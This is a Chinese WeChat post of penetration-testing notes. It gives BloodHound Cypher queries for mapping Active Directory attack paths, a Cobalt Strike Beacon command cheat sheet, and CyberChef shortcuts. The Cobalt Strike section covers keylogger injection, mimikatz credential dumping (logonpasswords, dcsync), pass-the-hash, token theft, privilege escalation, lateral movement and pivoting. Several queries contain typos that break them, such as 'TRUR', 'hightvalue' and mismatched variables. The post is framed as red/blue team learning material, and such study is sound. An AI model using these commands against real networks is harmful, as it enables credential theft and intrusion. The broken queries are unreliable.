感谢アヤメ师傅投稿
B
BLOODHOUND
红/蓝 Windows BloodHound
使用图形来揭示 Active Directory
环境中隐藏的且经常是意外的路径。攻击者可以使用 BloodHound
轻松识别高度复杂的攻击路径,否则这些攻击路径无法快速识别。防御者可以使用BloodHound
来识别和消除这些相同的攻击路径
★
bloodhound密码查询
”
-
列出所有拥有的用户 MATCH (m:User) WHERE m.owned=TRUR RETURN m
-
列出所有拥有的电脑 MATCH (m:Computer) WHERE m.owned=TRUE RETURN m
-
列出所有拥有的用户组 MATCH (m:Group) WHERE m.owned=TRUE RETURN m
-
列出所有高价值目标 MATCH (m) WHERE m.hightvalue=TRUE RETURN m
-
列出所有拥有的用户所在的用户组 MATCH (m:User) WHERE m.owned=TRUE WITH m MATCH p=(m)-[:MemberOf*1..]->(n:Group) RETURN p
-
找到 Kerberoastable
用户MATCH (n:User)WHERE n.hasspn=true RETURN n
-
找到所有带有 SPN/Kerberoastable
用户和密码MATCH (u:User) WHERE u.hasspn=true AND u.pwdlastset < (datetime().epochseconds - (1825 * 86400)) AND NOT u.pwdlastset IN [-1.0, 0.0] RETURN u.name, u.pwdlastset order by u.pwdlastset
-
找到Kerberoastable用户以及到DA的路径 MATCH (u:User {hasspn:true}) MATCH (g:Group) WHERE g.objectid ENDS WITH '-512' MATCH p = shortestPath( (u)-[*1..]->(g) ) RETURN p
-
找到机器的能 RDP
到的域用户match p=(g:Group)-[:CanRDP]->(c:Computer) where g.objectid ENDS WITH '-513' return p
-
找到能 RDP
的用户组MATCH p=(m:Group)-[r:CanRDP]->(n:Computer) RETURN p
-
找到能重置密码的用户组(报错:Heavy) MATCH p=(m:Group)-[r:ForceChangePassword]->(n:User) RETURN p
-
查找具有本地管理员权限的组(报错:Heavy) MATCH p=(m:Group)-[r:AdminTo]->(n:Computer) RETURN p
-
查找所有具有本地管理员权限的用户 MATCH p=(m:User)-[r:AdminTo]->(n:Computer) RETURN p
-
找到所有活动的域管理员会话 MATCH (n:User)-[:MemberOf]->(g:Group) WHERE g.objectid ENDS WITH '-512' MATCH p = (c:Computer)-[:HasSession]->(n) return p
-
找到所有无约束的电脑 MATCH (c:Computer {unconstraineddelegation:true}) return c
-
查找所有操作系统不受支持的计算机 MATCH (H:Computer) WHERE H.operatingsystem =~ '.*(2000|2003|2008|xp|vista|7|me)*.' RETURN H
-
找到在过去90天内登陆过的用户 MATCH (u:User) WHERE u.lastlogon < (datetime().epochseconds - (90 * 86400)) and NOT u.lastlogon IN [-1.0, 0.0] RETURN u
-
找出过去九十天内登陆过的用户的密码 MATCH (u:User) WHERE u.pwdlastset < (datetime().epochseconds - (90 * 86400)) and NOT u.pwdlastset IN [-1.0, 0.0] RETURN u
-
查找约束委派(原文:find constrained delegation) MATCH p=(u:User)-[:AllowedToDelegate]->(c:Computer) RETURN p
-
查找允许无约束委派但不是域控制器的计算机 MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectid ENDS WITH '-516' WITH COLLECT(c1.name) AS domainControllers MATCH (c2:Computer {unconstraineddelegation:true}) WHERE NOT c2.name IN domainControllers RETURN c2
-
返回数据库中至少一个 SPN 包含字符串“MSSQL”的数据库中每台计算机的名称 MATCH (c:Computer) WHERE ANY (x IN c.serviceprincipalnames WHERE toUpper(x) CONTAINS 'MSSQL') RETURN c
-
查看所有的GPOs Match (n:GPO) RETURN n
-
查看所有包含关键词'admin'的组 Match (n:Group) WHERE n.name CONTAINS 'ADMIN' RETURN n
-
找到所有大于五年的SPN/Kerberoastable用户的密码 MATCH (u:User) WHERE n.hasspn=true AND WHERE u.pwdlastset < (datetime().epochseconds - (1825 * 86400)) and NOT u.pwdlastset IN [-1.0, 0.0] RETURN u
-
显示所有高价值目标组 MATCH p=(n:User)-[r:MemberOf*1..]->(m:Group {highvalue:true}) RETURN p
-
找到同时包含用户和计算机的组 MATCH (c:Computer)-[r:MemberOf*1..]->(groupsWithComps:Group) WITH groupsWithComps MATCH (u:User)-[r:MemberOf*1..]->(groupsWithComps) RETURN DISTINCT(groupsWithComps) as groupsWithCompsAndUsers
-
找到高价值用户组里边的Kerberoastable用户 MATCH (u:User)-[r:MemberOf*1..]->(g:Group) WHERE g.highvalue=true AND u.hasspn=true RETURN u
-
找到Kerberoastable用户和他们所在的AdminTo OPTIONAL MATCH (u1:User) WHERE u1.hasspn=true OPTIONAL MATCH (u1)-[r:AdminTo]->(c:Computer) RETURN u
-
查找具有受限委派权限的计算机以及它们允许委派的相应目标 MATCH (c:Computer) WHERE c.allowedtodelegate IS NOT NULL RETURN c
-
查找是否有任何域用户对 GPO 具有作用的权限 MATCH p=(u:User)-[r:AllExtendedRights|GenericAll|GenericWrite|Owns|WriteDacl|WriteOwner|GpLink*1..]->(g:GPO) RETURN p
-
查找非特权用户是否有权将成员添加到组中 MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-[r:AddMember*1..]->(m:Group)) RETURN p
-
找到所有用户vpn用户组用户 Match p=(u:User)-[:MemberOf]->(g:Group) WHERE toUPPER (g.name) CONTAINS 'VPN' return p
-
找到从未登录却激活了的账号 MATCH (n:User) WHERE n.lastlogontimestamp=-1.0 AND n.enabled=TRUE RETURN n
-
在一个域中找到一个可以对一个外来对象做某事的对象 MATCH p=(n)-[r]->(m) WHERE NOT n.domain = m.domain RETURN p
-
查找特定域中用户的所有会话 MATCH p=(m:Computer)-[r:HasSession]->(n:User {domain:{result}}) RETURN p
相关链接:
https://github.com/BloodHoundAD/BloodHound
https://github.com/BloodHoundAD/Bloodhound/wiki
https://posts.specterops.io/introducing-bloodhound-3-0-c00e77ff0aa6
https://github.com/chryzsh/awesome-bloodhound
https://github.com/SadProcessor/HandsOnBloodHound
https://github.com/hausec/Bloodhound-Custom-Queries
C
cobalt strike
红队
★
command
”
basic
cancel [*文件*]
取消当前正在进行的下载,接受通配符cd [目录]
改变当前的工作目录clear
清屏cp 文件 另一个文件
文件拷贝成另一个文件download [C:文件路径]
从文件路径下载文件downloads
列出下载文件的进程execute-assembly
将本地 .NET 可执行文件作为 Beacon 后利用 工作作为当前的令牌exit
退出help <cmd>
显示所有可用命令或帮助指定命令inject [pid] <x86|x64>
将新的cs信标注入进指定进程jobkill [job ID]
杀死指定id程序jobs
列出正在运行的任务keylogger [pid] <x86|x64>
将击键记录器注入给定的进程 ID 和体系结构link/unlink [ip地址]
从远方建立或者断开连接ls <C:Path>
列出特定路径下的文件net [session/share/localgroup/etc]
Beacon net commands implemented that don’t rely on net.exe(翻译不来)ps
列出进程清单pwd
显示当前路径reg_query [x86|x64] [HIVEpathtokey]
查询注册表中的特定键reg_query [x86|x64] [HIVEpathtokey] [value]
查询注册表项中的特定值rm [filefolder]
删除filefolderscreenshot [pid] <x86|x64> [runtime in seconds]
在指定的秒数内将屏幕捕获存根注入指定的进程/体系结构setenv
设置环境变量shell [cmd] [argument]
使用cmd.exe执行 shell 命令sleep [秒] <jitter/0-99>
将 Beacon 设置为休眠秒数和相关的 0-99% 抖动。0 表示交互upload [/path/to/file]
攻击者上传文件到当前文件夹
欺骗 spoofing
argue [命令] [命令对应的参数]
将命令添加到虚假参数内部列表ppid <id>
设置父进程idspawnto <x86|x64> <C:processtospawn.exe>
设置子进程spawned
MIMIKATZ
mimikatz [module::command] <args>
执行 Mimikatz !module:: 提升到 SYSTEM 的格式;@module:: 强制使用当前令牌logonpasswords
将执行 sekurlsa::logonpasswords 模块,该模块提取哈希和明文密码LSASSdcsync [DOMAIN.fqdn] [DOMAINuser]
将使用 lsadump::dcync 从域控制器中提取指定用户的哈希值pth [DOMAINuser] [NTLM hash]
将使用 sekurlsa::pth 将用户的哈希注入 LSASS;需要本地管理员权限DESKTOP VNC
desktop <pid> <x86|x64> <low|high>
将 VNC 服务器暂存到当前进程的内存中,并通过 Beacon 建立连接
powershell
powershell-import [/path/to/scrit.ps1]
从控制服务器导入 PowerShell .ps1 脚本并将其保存在 Beacon 的内存中powershell [commandlet] [argument]
设置绑定到 localhost 的本地 TCP 服务器并下载脚本;执行函数和任何参数并返回输出powerpick [commandlet] [arguments]
使用 @tifkin_ 的非托管 PowerShell 启动给定函数,它不会启动 powershell.exepsinject [pid] [arch] [commandlet] [arguments]
将非托管PowerShell注入特定进程并执行指定命令
SESSION PASSING
dllinject [pid]
将反射 DLL 注入进程inject [pid] <x86|x64>
在指定进程中注入一个新的 Beaconshinject [pid] <x86|x64> [/path/to/file.bin]
将本地文件中的 shellcode 注入目标进程spawn [x86|x64] [listener]
为给定的侦听器生成一个新的 Beacon 进程spawnas [DOMAINuser]
[listener]
以另一个用户的身份为指定的侦听器生成一个新的 Beacondllload [pid] [c:pathtofile.dll]
在另一个进程中加载磁盘上的 DLL
PRVILEGE ESCALATION
elevate
列出权限提升在 Cobalt Strike 中注册的漏洞利用elevate [exploit] [listener]
尝试使用特定的漏洞来提升runasadmin
列出在 Cobalt Strike 注册的命令执行漏洞runasadmin [exploit] [command + args]
尝试在提升中运行指定的命令runas[DOMAINuser]
[command]
使用窃取的的凭据以另一个用户身份运行命令spawnas [DOMAINuser]
[listener]
使用他们的凭据作为另一个用户生成会话getsystem
模拟 SYSTEM 帐户的令牌elevate svc-exe [listener]
Get SYSTEM 是创建一个运行有效payload的服务getprivs
启用分配到当前访问令牌的权限
RECON
portscan [目标] [端口]
开启端口扫描任务portscan [目标] arp
使用arp扫描portscan [目标] icmp
使用icmp扫描net dclist
查找域控net view
在目标加入的域上查找目标net computers
通过查询域控制器上的计算机帐户组来查找目标net localgroup \TARGET
列出系统里边的其他用户组net localgroup \TARGET group name
列出系统里边的其它组成员
TOKENS
steal_token [process id]
从现有流程模拟令牌make_token [DOMAINuser]
生成传递这些凭据的令牌getuid
打印当前令牌rev2self
恢复到您的原始令牌
TICKETS
kerberos_ticket_use [/path/to/ticket.kirbi]
将 Kerberos 票证注入当前会话kerberos_ticket_purge
清除与您的会话关联的任何 kerberos 票证
LATERAL MOVEMENT
jump
列出在 CobaltStrike 注册的横向移动选项jump [module] [target] [listener]
尝试在远程目标上运行有效payloadjump psexec [target] [listener]
使用服务运行服务 EXE 工件jump psexec64 [target] [listener]
使用服务运行服务 EXE 工件jump psexec_psh [target] [listener]
使用服务运行 PowerShell 单线程jump winrm [target] [listener]
使用powershell脚本via WinRMjump winrm64 [target] [listener]
使用powershell脚本via WinRMremote-exec
列出使用 Cobalt Strike 注册的远程执行模块remote-exec [module] [target] [command + args]
尝试在远程目标上运行指定的命令remote-exec psexec [target] [command + args]
通过服务控制管理器远程执行remote-exec winrm [target] [command + args]
通过 WinRM 远程执行(powershell)remote-exec wmi [target] [command + args]
通过 WMI 远程执行
PIVOTING
socks [port]
在您的团队服务器上的给定端口上启动一个 SOCKS 服务器,通过指定的信标隧道传输流量socks stop
停止代理服务browserpivot [pid] <x86|x64>
通过指定的 Internet Explorer 进程代理浏览器流量rportfwd [bind port] [forward host] [forward port]
绑定到 Beacon 主机上的指定端口,并将任何传入连接转发到转发的主机和端口rportfwd stop [bind port]
禁用反向端口转发
SSH SESSIONS
ssh [target] [user]
从 Unix 目标上的 Beacon 启动 SSH 会话ssh-key [target] [user] [/path/to/key.pem]
从 Unix 目标上的 Beacon 启动 SSH 会话shell [cmd + arguments]
运行提供的命令和参数sudo
[cmd + arguments]
尝试通过 sudo 运行命令
链接
https://github.com/rsmudge/ElevateKit
https://www.cobaltstrike.com/downloads/csmanual40.pdf
https://github.com/HarmJ0y/CheatSheets/blob/master/Beacon.pdf
https://github.com/threatexpress/cs2modrewrite
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet.md
CYBER CHEF
蓝队 CyberChef 是一个简单、直观的网络应用程序,用于分析和解码数据,无需处理复杂的工具或编程语言
-
解码 Base64 编码的字符串 -
将日期和时间转换为不同的时区 -
解析 IPv6 地址 -
从 hexdump 转换数据,然后解压缩 -
解密和反汇编shellcode -
将多个时间戳显示为完整日期 -
对不同类型的数据进行不同的操作 -
使用部分输入作为操作的参数 -
执行 AES 解密,从 -
密码流的开始 -
自动检测多层嵌套编码
:---: | :---: | :---: |
---|---|---|
description | win/linux | mac |
将光标放在搜索字段中 | Ctrl+Alt+f | Ctrl+Opt+f |
将光标置于输入框 | Ctrl+Alt+i | Ctrl+Opt+i |
将光标放在输出框中 | Ctrl+Alt+o | Ctrl+Opt+o |
将光标放在配方中下一个操作的第一个参数字段中 | Ctrl+Alt+. | Ctrl+Opt+. |
将光标放在配方中第 n 个操作的第一个参数字段中 | Ctrl+Alt+[1-9] | Ctrl+Opt+[1-9] |
禁用当前操作 | Ctrl+Alt+d | Ctrl+Opt+d |
设置/清除断点 | Ctrl+Alt+b | Ctrl+Opt+b |
bake | Ctrl+Alt+Space | Ctrl+Opt+Space |
步骤 | Ctrl+Alt+' | Ctrl+Opt+' |
清屏 | Ctrl+Alt+c | Ctrl+Opt+c |
保存到文件 | Ctrl+Alt+s | Ctrl+Opt+s |
加载 | Ctrl+Alt+l | Ctrl+Opt+l |
将输出加载到输入 | Ctrl+Alt+m | Ctrl+Opt+m |
创建一个新选项卡 | Ctrl+Alt+t | Ctrl+Opt+t |
关闭当前选项卡 | Ctrl+Alt+w | Ctrl+Opt+w |
下一个选项卡 | Ctrl+Alt+RightArrow | Ctrl+Opt+RightArrow |
转到上一个选项卡 | Ctrl+Alt+LeftArrow | Ctrl+Opt+LeftArrow |
链接
https://gchq.github.io/CyberChef/
★
免责声明由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
”
end
网络¥安全联盟站—李白你好
欢迎关注[李白你好]-文章内容涉及网络¥安全,web渗透测试、内网安全、二进制安全、工业控制安全、APP逆向、CTF、SRC等。
微信:libaisec
微信交流群:加我微信拉你进群和工程师们学技术聊人生
原文始发于微信公众号(李白你好):渗透测试学习笔记——B、C
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论